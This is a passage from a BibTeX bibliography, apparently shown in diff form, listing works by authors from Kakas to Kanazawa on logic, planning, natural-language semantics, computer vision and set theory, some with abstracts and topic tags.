al., "Corpus of 3D Natural Movements + and Sign Language Primitives of Movement" + 13. Karin Husballe Munk and Erik Granum, "On the Use of + Context and a Priori Knowledge in Motion Analysis for + Visual Gesture Recognition" + 14. Hermann Hienz and Kirsti Grobel, "Automatic estimation of + Body Regions from Video Images" + 15. Frank Godenschweger, Thomas Strothotte, and Hubert + Wagener, "Rendering Gestures as Line Drawings" + 16. Karen McKenzie Mills and James L. Alty, "Investigating the + Role of Redundancy in Multimodal Input Systems" + 17. Martin Fröhlich and Ipke Wachsmuth, "Gesture Recognition + of the Upper Limbs: from Signal to Symbol" + 18. Marc Erich Latoschik and Ipke Wachsmuth, "Exploiting + Distant Pointing Gestures for Object Selection in a + Virtual Environment" + 19. Caroline Hummels, Gerda Smets, and Kees Overbeeke, "An + Intuitive Two-Handed Gestural Interface for Computer + Supported Product Design" + 20. Claudia Nölker and Helge Ritter, "Detection of Fingertips + in Human Hand Movement Sequences" + 21. Hans-Joachim Boehme et al., "Neural Architecture for + Gesture-Based Human-Machine-Interaction" + 22. Jochen Triesch and Christoph von der Malsburg, "Robotic + Gesture Recognition" + 23. Axel Christian Varchmin, Robert Rae, and Helge + Ritter, "Image Based Recognition of Gaze Direction + Using Adaptive Methods" + 24. Shan Lu et al., "Towards a Dialogue System Based on + Recognition and Synthesis of {J}apanese Sign Language" + 25. Hideaki Matsuo et al., "The Recognition Algorithm + with Non-Contact for {J}apanese Sign Language Using + Morphological Analysis" + 21. Markus Kohler, "Special Topics of Gesture Recognition Applied in + Intelligent Home Environments" + 21. Morten Fjeld and Martin Bichsel and Matthias + Rauterberg, "{BUILD-IT}: An Intuitive Design Tool + Based on Direct Object Manipulation" + } , + ISBN = {3211828435 (alk. paper)}, + topic = {HCI;} + } + +@inproceedings{ kakas-mancarella:1990a, + author = {Antonis C. Kakas and P. Mancarella}, + title = {Database Updates Through Abduction}, + booktitle = {Proceedings of the Sixteenth {VLKB} Conference}, + year = {1990}, + missinginfo = {A's 1st name, editor, correct title, publisher, address}, + topic = {abduction;database-update;} + } + +@article{ kakas-etal:1992a, + author = {Antonis C. Kakas and Robert A. Kowalski and F. Toni}, + title = {Abductive Logic programming}, + journal = {Logic and Computation}, + year = {1992}, + volume = {2}, + number = {6}, + pages = {719--770}, + topic = {abduction;logic-programming;} + } + +@inproceedings{ kakas-miller_r:1998a, + author = {Antonis Kakas and Rob Miller}, + title = {Reasoning about Actions, Events, and Causality}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Prospects for a Commonsense Theory of Causation}, + year = {1998}, + organization = {American Association for Artificial Intelligence}, + publication = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + editor = {Charles L. {Ortiz, Jr.}}, + pages = {13--23}, + topic = {causality;temporal-reasoning;planning-formalisms; + actions;nonmonotonic-reasoning;} + } + +@book{ kalawsky:1993a, + author = {Roy S. Kalawsky}, + title = {The Science of Virtual Reality and Virtual Environments: + A Technical, Scientific and Engineering Reference on Virtual + Environments}, + publisher = {Addison-Wesley}, + year = {1993}, + address = {Reading, Massachusetts}, + ISBN = {0201631717}, + topic = {virtual-reality;} + } + +@incollection{ kalinski:1991a, + author = {J\"urgen Kalinski}, + title = {Autoepistemic Expansions with Incomplete Belief Introspection}, + booktitle = {Nonmonotonic and Inductive Logics}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {J\"urgen Dix and Klaus P. Jantke and P.H. Schmidt}, + pages = {223--243}, + address = {Berlin}, + missinginfo = {E's 1st name.}, + topic = {nonmonotonic-logic;autoepistemic-logic;} + } + +@article{ kalita-lee:1997a, + author = {Jugal K. Kalita and Joel C. Lee}, + title = {An Informal Semantic Analysis of Motion Verbs Based + on Physical Primitives}, + journal = {Computational Intelligence}, + year = {1997}, + volume = {13}, + number = {1}, + pages = {87--125}, + topic = {nl-semantics;spatial-semantics;semantic-primitives;} + } + +@incollection{ kallmeyer-joshi:1999a, + author = {Laura Kallmeyer and Aravind Joshi}, + title = {Factoring Predicate Argument and Scope Semantics: + Underspecified Semantics with {LTAG}}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {169--174}, + address = {Amsterdam}, + topic = {TAG-grammar;semantic-underspecification;} + } + +@incollection{ kallstrom:1977a, + author = {Roger K\"allstr\"om}, + title = {Agreement Rules for {S}wedish Noun Phrases}, + booktitle = {Logic, Pragmatics, and Grammar}, + year = {1977}, + editor = {\"Osten Dahl}, + address = {G\"oteborg}, + publisher = {Department of Linguistics, University of G\"oteberg}, + missinginfo = {publisher, pages 267--?}, + topic = {inflection;Swedish-language;} + } + +@book{ kalman:2001a, + author = {John Arnold Kalman}, + title = {Automated Reasoning with {O}tter}, + publisher = {Rinton Press}, + year = {2001}, + address = {Princeton, New Jersey}, + note = {Foreword by Larry Wos}, + xref = {Review: myers_d:2002a.}, + topic = {theorem-proving;computer-assisted-mathematics;} + } + +@techreport{ kaluzhny-lehmann:1994a, + author = {Yuri Kaluzhny and Daniel Lehmann}, + title = {Deductive Nonmonotonic Inference Operations: Antitonic + Representations}, + institution = {Leibniz Center for Research in Computer Science, + The Hebrew University of Jerusalem}, + number = {TR 94--3}, + year = {1994}, + address = {Jerusalem 91904, Israel}, + topic = {nonmonotonic-logic;} + } + +@incollection{ kamaradine:1995a, + author = {Fairouz Kamareddine}, + title = {Are Types Needed for Natural Language?}, + booktitle = {Applied Logic: How, What, and Why? Logical Approaches to + Natural Language}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {L\'aszl\'o P\'olos and Michael Masuch}, + pages = {79--120}, + address = {Dordrecht}, + topic = {polymorphism;nl-semantic-types;semantic-paradoxes;} + } + +@article{ kamareddine:1992a, + author = {Farouz Kamareddine}, + title = {$\lambda$-Terms, Logic, Determiners and Quantifiers}, + journal = {Journal of Logic, Language, and Information}, + year = {1992}, + volume = {1}, + number = {1}, + pages = {79--103}, + topic = {untyped-lambda-calculus;nl-quantifiers;property-theory;} + } + +@article{ kamareddine-klein:1993a, + author = {Fairouz Kamareddine and Ewan Klein}, + title = {Nominalization, Predication and Type Containment}, + journal = {Journal of Logic, Language, and Information}, + year = {1993}, + volume = {2}, + number = {3}, + pages = {171--215}, + topic = {nl-semantic-types;polymorphism;higher-order-logic; + Russell-paradox;} + } + +@article{ kamareddine:1995a, + author = {Fairouz Kamareddine}, + title = {A Type Free Theory and Collective/Distributive Predication}, + journal = {Journal of Logic, Language, and Information}, + year = {1995}, + volume = {4}, + number = {2}, + pages = {85--109}, + topic = {nl-semantic-types;polymorphism;plural;} + } + +@article{ kamareddine-laan:2001a, + author = {Fairouz Kamareddine and Twan Laan}, + title = {A Correspondence between {M}artin-L\"of Type Theory, + the Ramified Theory of Types and Pure Type Systems}, + journal = {Journal of Logic, Language, and Information}, + year = {2001}, + volume = {10}, + number = {3}, + pages = {375--402}, + topic = {type-theory;ramified-type-theory;} + } + +@incollection{ kamayama:1997a, + author = {Megumi Kamayama}, + title = {Intrasentential Centering: A Case Study}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {89--112}, + address = {Oxford}, + topic = {anaphora-resolution;discourse;pragmatics;centering;} + } + +@incollection{ kambertel:1979a, + author = {Friedrich Kambertel}, + title = {Constructive Pragmatics and Semantics}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {195--205}, + topic = {pragmatics;nl-semantics;} + } + +@article{ kambhampati-hendler:1992a, + author = {Subbaro Kambhampati and James Hendler}, + title = {A Validation Structure-Based Theory of Plan Modification + and Reuse}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {55}, + number = {2--3}, + pages = {193--258}, + topic = {planning;plan-reuse;} + } + +@incollection{ kambhampati:1994a, + author = {Subbarao Kambhampati}, + title = {Refinement Search as a Unifying Framework for Analyzing + Planning Algorithms}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {329--340}, + address = {San Francisco, California}, + topic = {kr;search;planning;kr-course;} + } + +@article{ kambhampati:1994b, + author = {Subbarao Kambhampati}, + title = {Multi-Contributor Causal Structures for Planning: A + Formalization and Evaluation}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {69}, + number = {1--2}, + pages = {235--278}, + acontentnote = {Abstract: + Explicit causal structure representations have been widely used + in classical planning systems to guide a variety of aspects of + planning, including plan generation, modification and + generalization. For the most part, these representations were + limited to single-contributor causal structures. Although widely + used, single-contributor causal structures have several + limitations in handling partially ordered and partially + instantiated plans. Specifically they are (i) incapable of + exploiting redundancy in the plan causal structure and (ii) + force premature commitment to individual contributors thereby + causing unnecessary backtracking. In this paper, we study + multi-contributor causal structures as a way of overcoming these + limitations. We will provide a general formulation for + multi-contributor causal links, and explore the properties of + several special classes of this formulation. We will then + describe two planning algorithms-MP and MP-I-that use + multi-contributor causal links to organize their search for + plans. We will describe empirical studies demonstrating the + advantages of MP and MP-I over planners that use single + contributor causal structures, and argue that they strike a more + favorable balance in the tradeoff between search space + redundancy and premature commitment to contributors. Finally, we + will present a framework for justifying plans with respect to + multi-contributor causal structures and describe its + applications in plan modification and generalization.}, + topic = {causality;planning;planning-algorithms;proof-reuse;} + } + +@article{ kambhampati-kedar:1994c, + author = {Subbarao Kambhampati and Smadar Kedar}, + title = {A Unified Framework for Explanation-Based Generalization + of Partially Ordered and Partially Instantiated Plans}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {67}, + number = {1}, + pages = {29--70}, + acontentnote = {Abstract: + Most previous work in explanation-based generalization (EBG) of + plans dealt with totally ordered plans. These methods cannot be + directly applied to generalizing partially ordered partially + instantiated plans, a class of plans that have received + significant attention in planning. In this paper we present a + natural way of extending the explanation-based generalization + methods to partially ordered partially instantiated (POPI) + plans. Our development is based on modal truth criteria for POPI + plans [3]. We develop explanation structures from these truth + criteria, and use them as a common basis to derive a variety of + generalization algorithms. Specifically we present algorithms + for precondition generalization, order generalization, and + possible correctness generalization of POPI plans. The + systematic derivation of the generalization algorithms from the + modal truth criterion obviates the need for carrying out a + separate formal proof of correctness of the EBG algorithms. Our + development also systematically explicates the tradeoffs among + the spectrum of possible generalizations for POPI plans, and + provides an empirical demonstration of the relative utility of + EBG in partial ordering, as opposed to total ordering, planning + frameworks. } , + topic = {partial-order-planning;explanation-based-generalization;} + } + +@article{ kambhampati-etal:1995a, + author = {Subbarao Kambhampati and Craig A. Knoblock and Qiang Yang}, + title = {Planning as Refinement Search: A Unified Framework for + Evaluating Design Tradeoffs in Partial-Order Planning}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {76}, + number = {1--2}, + pages = {167--238}, + topic = {planning;search;partial-order-planning;} + } + +@article{ kambhampati-etal:1996a, + author = {Subbarao Kambhampati and Suresh Katukam and Yong Qu}, + title = {Failure Driven Dynamic Search Control for Partial Order + Planners: An Explanation Based Approach}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {88}, + number = {1--2}, + pages = {253--315}, + topic = {planning;search;} + } + +@article{ kambhampati-etal:1996b, + author = {Subbarao Kambhampati and Suresh Katukam and Yong Qu}, + title = {Failure Driven Dynamic Search Control for Partial Order + Planners: An Explanation Based Approach}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {88}, + number = {1--2}, + pages = {253--315}, + topic = {search;procedural-control;partial-order-planning; + planning-algorithms;} + } + +@article{ kambhampati-nau:1996a, + author = {Subbaro Kambhampati and Dana S. Nau}, + title = {On the Nature and Role of Modal Truth Criteria in Planning}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {82}, + number = {1--2}, + pages = {129--155}, + topic = {planning;complexity-in-AI;} + } + +@incollection{ kambhampati-yang:1996a, + author = {Subbarao Kambhampati and Xiuping Yang}, + title = {On the Role of Disjunctive Representations and Constraint + Propagation in Refinement Planning}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {135--146}, + address = {San Francisco, California}, + topic = {planning;search;constraint-satisfaction;} + } + +@article{ kambhampati:1998a, + author = {Subbarao Kambhampati}, + title = {On the Relations between Intelligent Backtracking + and Failure-Driven Explanation-Based Learning in Constraint + Satisfaction and Planning}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {105}, + number = {1--2}, + pages = {161--208}, + topic = {explanation-based-learning;backtracking; + planning-algorithms;constraint-satisfaction;} + } + +@inproceedings{ kameyama:1991a, + author = {Megumi Kameyama}, + title = {Atomization in Grammar Sharing}, + booktitle = {Proceedings of the Twenty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics}, + year = {1988}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + missinginfo = {editor, pages}, + topic = {comparative-grammar;} + } + +@inproceedings{ kameyama:1991b, + author = {Megumi Kameyama}, + title = {Resolving Translation Mismatches with Information Flow}, + booktitle = {Proceedings of the Twenty-Ninth Annual Meeting of the + Association for Computational Linguistics}, + year = {1994}, + editor = {Robert C. Berwick}, + pages = {193--200}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {abduction;machine-translation;information-flow-theory;} + } + +@inproceedings{ kameyama:1997a, + author = {Megumi Kameyama}, + title = {Resolving Translation Mismatches with Contextual Inference}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {96--98}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;abduction;machine-translation;} + } + +@article{ kamide:2002a, + author = {Noriko Kamide}, + title = {Substructural Logics with Mingle}, + journal = {Journal of Logic, Language, and Information}, + year = {2002}, + volume = {10}, + number = {1}, + pages = {227--249}, + topic = {substructural-logics;proof-theory;} + } + +@article{ kaminski:1995a, + author = {Michael Kaminski}, + title = {A Comparative Study of Open Default Theories}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {77}, + number = {2}, + pages = {285--319}, + contentnote = {How to get the effect of quantified defaults.}, + topic = {default-logic;} + } + +@incollection{ kaminski-etal:1996a, + author = {Michael Kaminski and Johann A. Makowsky and Michael L. + Tiomkin}, + title = {Extensions for Open Default Theories via the + Domain Closure Assumption}, + booktitle = {Logics in Artificial Intelligence: European Workshop, + {Jelia}'96, Ivora, Portugal, September 30 - October 3, + 1996.}, + publisher = {Springer-Verlag}, + year = {1996}, + editor = {Jos\'e J\'ulio Alferes and Lu\'is Moniz Pereira and Ewa Orlowska}, + pages = {373--387}, + address = {Berlin}, + topic = {default-logic;} + } + +@article{ kaminski:1997a, + author = {Michael Kaminski}, + title = {The Elimination of {\it De Re} Formulas}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {4}, + pages = {411--422}, + topic = {quantifying-in-modality;singular-propositions;} + } + +@article{ kaminski:1997b, + author = {Michael Kaminski}, + title = {A Note on the Stable Model Semantics for Logic Programs}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {96}, + number = {2}, + pages = {467--479}, + topic = {stable-models;logic-programming;} + } + +@incollection{ kamio:1979a, + author = {Akio Kamio}, + title = {On the Notion {\it Speaker's Territory of Information}: + a Functional Analysis of Certain Sentence-Final Forms + in {J}apanese}, + booktitle = {Explorations in Linguistics: Papers in Honor of + {K}azuko {I}noue}, + publisher = {Kenkyusha}, + year = {1979}, + editor = {George Bedell and Eichi Kobayashi and Masatake Muraki}, + pages = {213--231}, + address = {Tokyo}, + topic = {Japanese-language;pragmatics;;} + } + +@techreport{ kamp:1969a, + author = {Hans Kamp}, + title = {Enthymemes}, + institution = {System Development Corporation}, + year = {1969}, + address = {Santa Monica}, + topic = {enthymemes;} + } + +@unpublished{ kamp:1969b, + author = {Hans Kamp}, + title = {Notes on Tense Logic}, + year = {1969}, + note = {Unpublished manuscript, Cornell University.}, + topic = {tense-logic;} + } + +@unpublished{ kamp:1970a, + author = {Hans Kamp}, + title = {Two Related Theorems by {D.} {S}cott and {S.} {K}ripke}, + year = {1970}, + note = {Unpublished manuscript, University of London.}, + topic = {quantifying-in-modality;modal-logic;} + } + +@techreport{ kamp:1970b, + author = {Hans Kamp}, + title = {On the Adequacy of Translations among Natural and Formal + Languages}, + institution = {System Development Corporation}, + year = {1970}, + address = {Santa Monica}, + topic = {nl-semantics;} + } + +@article{ kamp:1971a, + author = {Hans Kamp}, + title = {Formal Properties of `Now'}, + journal = {Theoria}, + year = {1971}, + volume = {37}, + pages = {227--273}, + missinginfo = {number}, + topic = {temporal-logic;} + } + +@unpublished{ kamp:1973a, + author = {Hans Kamp}, + title = {Quantification and Reference in Modal and Tense Logic}, + year = {1973}, + note = {Unpublished manuscript, University College, London.}, + topic = {quantifying-in-modality;modal-logic;} + } + +@unpublished{ kamp:1974a, + author = {Hans Kamp}, + title = {A Sketch for a Semantics of Higher-Order Vagueness}, + year = {1974}, + note = {Unpublished manuscript, University of London.}, + topic = {vagueness;} + } + +@article{ kamp:1974b, + author = {Hans Kamp}, + title = {Free Choice Permission}, + journal = {Proceedings of the {A}ristotelian {S}ociety}, + year = {1974}, + volume = {74}, + pages = {57--74}, + topic = {deontic-logic;permission;} + } + +@incollection{ kamp:1975a, + author = {Hans Kamp}, + title = {Two Theories about Adjectives}, + booktitle = {Formal Semantics of Natural Language}, + publisher = {Cambridge University Press}, + year = {1975}, + editor = {Edward L. Keenan}, + pages = {123--155}, + address = {Cambridge, England}, + topic = {nl-semantics;comparative-constructions;vagueness;context; + adjectives;semantics-of-adjectives;} + } + +@unpublished{ kamp:1976a, + author = {Hans Kamp}, + title = {The Logic of Historical Necessity, Part {I}}, + year = {1976}, + note = {Unpublished manuscript, Bedford College, University of London.}, + missinginfo = {Date is a guess.}, + topic = {temporal-logic;branching-time;} + } + +@incollection{ kamp:1978b, + author = {Hans Kamp}, + title = {Semantics Versus Pragmatics}, + booktitle = {Formal Semantics and Pragmatics for Natural Languages}, + publisher = {D. Reidel Publishing Co.}, + year = {1978}, + editor = {Franz Guenthner and S.J. Schmidt}, + pages = {255--287}, + address = {Dordrecht}, + contentnote = {This paper is about disjunctions in permission + contexts.}, + topic = {nl-semantics;pragmatics;deontic-logic;free-choice-`any/or';} + } + +@incollection{ kamp:1978c, + author = {Hans Kamp}, + title = {The Adequacy of Translation Between Formal and Natural + Languages}, + booktitle = {Meaning and Translation: Philosophical and Logical + Approaches}, + publisher = {New York University Press}, + year = {1978}, + editor = {Franz Guenthner and Monica Guenthner-Reutter}, + pages = {275--306}, + address = {New York}, + topic = {foundations-of-semantics;} + } + +@incollection{ kamp:1979a, + author = {Hans Kamp}, + title = {Events, Instants, and Temporal Reference}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Berlin}, + pages = {376--417}, + topic = {tense-aspect;events;temporal-logic;} + } + +@incollection{ kamp:1981a, + author = {Hans Kamp}, + title = {A Theory of Truth and Semantic Representation}, + booktitle = {Formal Methods in the Study of Language}, + publisher = {Foris}, + year = {1981}, + editor = {Jeroen A. Groenendijk and Theo Janssen and Martin Stokhof}, + address = {Dordrecht}, + topic = {discourse-representation-theory;donkey-anaphora;pragmatics;} + } + +@incollection{ kamp:1981b, + author = {Hans Kamp}, + title = {The Paradox of the Heap}, + booktitle = {Aspects of Philosophical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1981}, + editor = {Uwe M\"onnich}, + pages = {225--277}, + address = {Dordrecht}, + topic = {nl-semantics;vagueness;sorites-paradox;} + } + +@article{ kamp:1985a, + author = {Hans Kamp}, + title = {Context, Thought and Communication}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1984/1985}, + volume = {85}, + note = {Supplementary Series.}, + pages = {239--261}, + topic = {context;anaphora;intentional-identity;} + } + +@techreport{ kamp:1986a, + author = {Hans Kamp}, + title = {Reading, Writing, and Understanding (Comments on H. Sluga, + ``Philosophy as a Kind of Writing'')}, + institution = {Forschugsstelle f\"ur nat\"urlich-Sprachliche + Systeme, Universit\"at T\"ubingen}, + year = {1986}, + address = {T\"ubingen}, + topic = {philosophy-of-language;pragmatics;} + } + +@unpublished{ kamp:1990a, + author = {Hans Kamp}, + title = {Prolegomena to a Structural Account of Belief + and Other Attitudes}, + year = {1990}, + note = {Unpublished manuscript, University of Stuttgart.}, + missinginfo = {Year is a wild guess.}, + topic = {propositional-attitudes;syntactic-attitudes;} + } + +@book{ kamp:1990b, + editor = {Hans Kamp}, + title = {Conditionals, Defaults, and Belief Revision}, + publisher = {Institut f\"ur maschinelle Sprachverarbeitung, + Universit\"at Stuttgart}, + year = {1990}, + note = {Dyana Deliverable R2.5.A.}, + address = {Stuttgart}, + contentnote = {TC: + 1. Michael Morreau, "Epistemic Semantics for Counterfactuals" + 2. Frank Veltman, "Defaults in Update Semantics" + 3. Hans Rott, "Updates, Conditionals, and Non-Monotonicity" + } , + topic = {conditionals;belief-revision;nonmonotonic-logic;} + } + +@incollection{ kamp:1991a, + title = {On the Representation and Transmission of Information: + Sketch of a Theory of Verbal Communication Based on Discourse + Representation Theory}, + author = {Hans Kamp}, + booktitle = {Natural Language and Speech}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {E. Klein and F. Vellman}, + pages = {135--158}, + topic = {discourse;pragmatics;discourse-representation-theory;} +} + +@book{ kamp-reyle:1993a, + author = {Hans Kamp and Uwe Reyle}, + title = {From Discourse to Logic: Introduction to Modeltheoretic + Semantics in Natural Language, Formal Logic and Discourse + Representation Theory, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + address = {Dordrecht}, + xref = {Review: akman:1995b.}, + topic = {nl-semantics;discourse-representation-theory;pragmatics;} + } + +@book{ kamp-reyle:1993b, + author = {Hans Kamp and Uwe Reyle}, + title = {From Discourse to Logic: Introduction to Modeltheoretic + Semantics in Natural Language, Formal Logic and Discourse + Representation Theory, Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + address = {Dordrecht}, + topic = {nl-semantics;discourse-representation-theory;pragmatics;} + } + +@article{ kamp-reyle:1994a, + author = {Hans Kamp and Uwe Reyle}, + title = {A Calculus for First Order Discourse Representation + Structures}, + journal = {Journal of Logic, Language, and Information}, + year = {1994}, + volume = {5}, + number = {3--4}, + pages = {297--348}, + topic = {discourse-representation-theory;pragmatics;} + } + +@article{ kamp-rossdeutscher:1994a, + author = {Hans Kamp and Antje Rossdeutscher}, + title = {Remarks on Lexical Structure and DRS Construction}, + journal = {Theoretical Linguistics}, + year = {1994}, + volume = {20}, + number = {2/3}, + pages = {97--164}, + topic = {discourse-representation-theory;lexical-semantics;pragmatics;} + } + +@article{ kamp-rossdeutscher:1994b, + author = {Hans Kamp and Antje Rossdeutscher}, + title = {Remarks on Lexical Structure and DRS Construction}, + journal = {Theoretical Linguistics}, + year = {1994}, + volume = {20}, + number = {2/3}, + pages = {167--236}, + topic = {discourse-representation-theory;nl-interpretation;presupposition; + pragmatics;} + } + +@article{ kamp-partee:1995a, + author = {Hans Kamp and Barbara Partee}, + title = {Prototype Theory and Compositionality}, + journal = {Cognition}, + year = {1995}, + volume = {57}, + number = {2}, + pages = {121--191}, + topic = {nl-semantics;compositionality;} + } + +@incollection{ kamphuis-sarbo:1998a, + author = {Vera Kamphuis and Janos J. Sarbo}, + title = {Natural Language and Concept Analysis}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {205--214}, + address = {Somerset, New Jersey}, + topic = {constituent-structure;} + } + +@incollection{ kamps:1998a, + author = {Jaap Kamps}, + title = {Formal Theory Building Using Automated Reasoning Tools}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {476--487}, + address = {San Francisco, California}, + topic = {kr;automated-scientific-discovery; + formalizations-of-social-science;kr-course;} + } + +@article{ kanade:1979a, + author = {Takeo Kanade}, + title = {A Theory of Origami World}, + journal = {Artificial Intelligence}, + year = {1979}, + volume = {13}, + number = {3}, + pages = {279--311}, + acontentnote = {Abstract: + The recovery of three-dimensional configurations of a scene from + its image is one of the most important steps in computer vision. + The Origami world is a model for understanding line drawings in + terms of surfaces, and for finding their 3-D configurations. It + assumes that surfaces themselves can be stand-alone objects, + unlike the conventional trihedral world which assumes solid + objects. We have established a labeling procedure for this + Origami world, which can find the 3-D meaning of a given line + drawing by assigning one of the labels, + (convex edge), - + (concave edge), [<-], and [->] (occluding boundary) to each + line. The procedure uses a filtering procedure not only for + junction labels as in the Waltz labeling for the trihedral + world, but also for checking the consistency of surface + orientations. The theory includes the Huffman-Clowes labelings + for the trihedral solid-object world as a subset. This paper + also reveals interesting relationships among previous research + in polyhedral scene analysis. } , + topic = {computer-vision;three-D-reconstruction;} + } + +@article{ kanade:1981a, + author = {Takeo Kanade}, + title = {Recovery of the Three-Dimensional Shape of an Object from + a Single View}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {17}, + number = {1--3}, + pages = {409--460}, + topic = {three-D-reconstruction;} + } + +@article{ kanade:1993a, + author = {Takeo Kanade}, + title = {From a Real Chair to a Negative Chair}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {95--101}, + topic = {computer-vision;} + } + +@article{ kanamori:1996a, + author = {Akihiro Kanamori}, + title = {The Mathematical Development of Set Theory from {C}antor + to {C}ohen}, + journal = {The Bulletin of Symbolic Logic}, + year = {1996}, + volume = {2}, + number = {1}, + pages = {1--71}, + topic = {set-theory;} + } + +@article{ kanamori:1997a, + author = {Akihiro Kanamori}, + title = {The Mathematical Import of {Z}ermelo's Well-Ordering + Theorem}, + journal = {The Bulletin of Symbolic Logic}, + year = {1997}, + volume = {3}, + number = {3}, + pages = {281--311}, + topic = {set-theory;} + } + +@article{ kanamori:2001a, + author = {Akihiro Kanamori}, + title = {Review of {\it Labyrinth of Thought. A History of Set + Theory and Its Role in Modern Mathematics}, by {J}ose {F}erreir\'os}, + journal = {The Bulletin of Symbolic Logic}, + year = {2001}, + volume = {7}, + number = {2}, + pages = {277--278}, + xref = {Review of: ferreiros:1999a}, + topic = {history-of-mathematics;set-theory;foundations-of-mathematics;} + } + +@article{ kanatani:1984a, + author = {Ken-Ichi Kanatani}, + title = {Detection of Surface Orientation and Motion from Texture + by a Stereological Technique}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {23}, + number = {2}, + pages = {213--237}, + acontentnote = {Abstract: + A new approach is given to detect the surface orientation and + motion from the texture on the surface by making use of a + mathematical principle called `stereology'. Information about + the surface orientation is contained in `features' computed by + scanning the image by parallel lines and counting the number of + intersections with the curves of the texture. A synthetic + example is given to illustrate the technique. This scheme can + also detect surface motions relative to the viewer by computing + features of its texture at one time and a short time later. The + motion is specified by explicit formulae of the computed + features.}, + topic = {texture;motion-reconstruction;three-D-reconstruction;} + } + +@article{ kanatani-chou:1989a, + author = {Ken-ichi Kanatani and Tsai-Chia Chou}, + title = {Shape from Texture: General Principle}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {1}, + pages = {1--48}, + topic = {texture;three-D-reconstruction;shape-recognition;} + } + +@techreport{ kanazawa:1991a, + author = {Makoto Kanazawa}, + title = {The {L}ambek Calculus Enriched With Additional Connectives}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--91--04}, + year = {1991}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + xref = {Published as kanezawa:1992a.}, + topic = {Lambek-calculus;categorial-grammar;} + } + +@article{ kanazawa:1992a, + author = {Makoto Kanazawa}, + title = {The {L}ambek Calculus Enriched With Additional Connectives}, + journal = {Journal of Logic, Language, and Information}, + year = {1992}, + volume = {1}, + number = {2}, + pages = {141--171}, + topic = {Lambek-calculus;categorial-grammar;} + } + +@techreport{ kanazawa:1993a, + author = {Makoto Kanazawa}, + title = {Dynamic Generalized Quantifiers and Monotonicity}, + institution = {Institute for {L}ogic, {L}anguage, and + {C}omputation, {U}niversity of {A}msterdam}, + number = {LP-93-02}, + year = {1993}, + address = {Anmsterdam}, + topic = {dynamic-logic;generalized-quantifiers;} + } + +@article{ kanazawa:1994a, + author = {Makoto Kanazawa}, + title = {Weak vs. Strong Readings of Donkey Sentences and + Monotonicity Inference in a Dynamic Setting}, + journal = {Linguistics and Philosophy}, + year = {1994}, + volume = {17}, + number = {2}, + pages = {109--158}, + topic = {nl-quantifiers;donkey-anaphora;} + } + +@article{ kanazawa:1996a, + author = {Makoto Kanazawa}, + title = {Identification in the Limit of Categorial Grammars}, + journal = {Journal of Logic, Language, and Information}, + year = {1996}, + volume = {5}, + number = {2}, + pages = {115--155}, + topic = {learning-theory;categorial-grammar;} + } + +@book{ kanazawa-etal:1996a, + editor = {Makoto Kanazawa and Christopher Pi\~n\'on and Henriette + de Swart}, + title = {Quantifiers, Deduction, and Context}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + topic = {nl-quantifiers;context;} + } + +@article{ 